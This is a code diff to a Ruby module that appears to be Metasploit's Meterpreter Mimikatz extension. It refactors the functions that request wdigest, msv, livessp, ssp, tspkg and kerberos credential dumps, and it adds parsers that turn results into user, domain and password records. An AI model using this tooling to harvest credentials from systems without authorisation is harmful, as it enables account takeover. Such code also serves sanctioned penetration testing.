@@ -37,45 +37,77 @@ def initialize(client)
37
37
def mimikatz_send_request ( method )
38
38
request = Packet . create_request ( method )
39
39
response = client . send_request ( request )
40
- result = Rex ::Text . to_ascii ( response . get_tlv_value ( TLV_TYPE_MIMIKATZ_RESULT ) )
40
+ return Rex ::Text . to_ascii ( response . get_tlv_value ( TLV_TYPE_MIMIKATZ_RESULT ) )
41
+ end
41
42
43
+ def parse_mimikatz_result ( result )
44
+ details = CSV . parse ( result )
45
+ accounts = [ ]
46
+ details . each do |acc |
47
+ account = {
48
+ :authid => acc [ 0 ] ,
49
+ :package => acc [ 1 ] ,
50
+ :user => acc [ 2 ] ,
51
+ :domain => acc [ 3 ] ,
52
+ :password => acc [ 4 ]
53
+ }
54
+ accounts << account
55
+ end
56
+ return accounts
57
+ end
58
+
59
+ def parse_mimikatz_ssp_result ( result )
42
60
details = CSV . parse ( result )
43
- accounts = [ ]
61
+ accounts = [ ]
44
62
details . each do |acc |
45
- account = {
46
- :authid => acc [ 0 ] ,
47
- :package => acc [ 1 ] ,
48
- :user => acc [ 2 ] ,
49
- :domain => acc [ 3 ] ,
50
- :password => acc [ 4 ]
51
- }
52
- accounts << account
63
+ ssps = acc [ 4 ] . split ( ' }' )
64
+ ssps . each do |ssp |
65
+ s_acc = ssp . split ( ' ; ' )
66
+ user = s_acc [ 0 ] . split ( '{ ' ) [ 1 ]
67
+ account = {
68
+ :authid => acc [ 0 ] ,
69
+ :package => acc [ 1 ] ,
70
+ :user => user ,
71
+ :domain => s_acc [ 1 ] ,
72
+ :password => s_acc [ 2 ] ,
73
+ :orig_user => acc [ 2 ] ,
74
+ :orig_domain => acc [ 3 ]
75
+ }
76
+ accounts << account
77
+ end
53
78
end
79
+ p accounts
54
80
return accounts
55
81
end
56
82
57
83
def wdigest
58
- mimikatz_send_request ( 'mimikatz_wdigest' )
84
+ result = mimikatz_send_request ( 'mimikatz_wdigest' )
85
+ return parse_mimikatz_result ( result )
59
86
end
60
87
61
88
def msv
62
- mimikatz_send_request ( 'mimikatz_msv1_0' )
89
+ result = mimikatz_send_request ( 'mimikatz_msv1_0' )
90
+ return parse_mimikatz_result ( result )
63
91
end
64
92
65
93
def livessp
66
- mimikatz_send_request ( 'mimikatz_livessp' )
94
+ result = mimikatz_send_request ( 'mimikatz_livessp' )
95
+ return parse_mimikatz_result ( result )
67
96
end
68
97
69
98
def ssp
70
- mimikatz_send_request ( 'mimikatz_ssp' )
99
+ result = mimikatz_send_request ( 'mimikatz_ssp' )
100
+ return parse_mimikatz_ssp_result ( result )
71
101
end
72
102
73
103
def tspkg
74
- mimikatz_send_request ( 'mimikatz_tspkg' )
104
+ result = mimikatz_send_request ( 'mimikatz_tspkg' )
105
+ return parse_mimikatz_result ( result )
75
106
end
76
107
77
108
def kerberos
78
- mimikatz_send_request ( 'mimikatz_kerberos' )
109
+ result = mimikatz_send_request ( 'mimikatz_kerberos' )
110
+ return parse_mimikatz_result ( result )
79
111
end
80
112
end
81
113
0 commit comments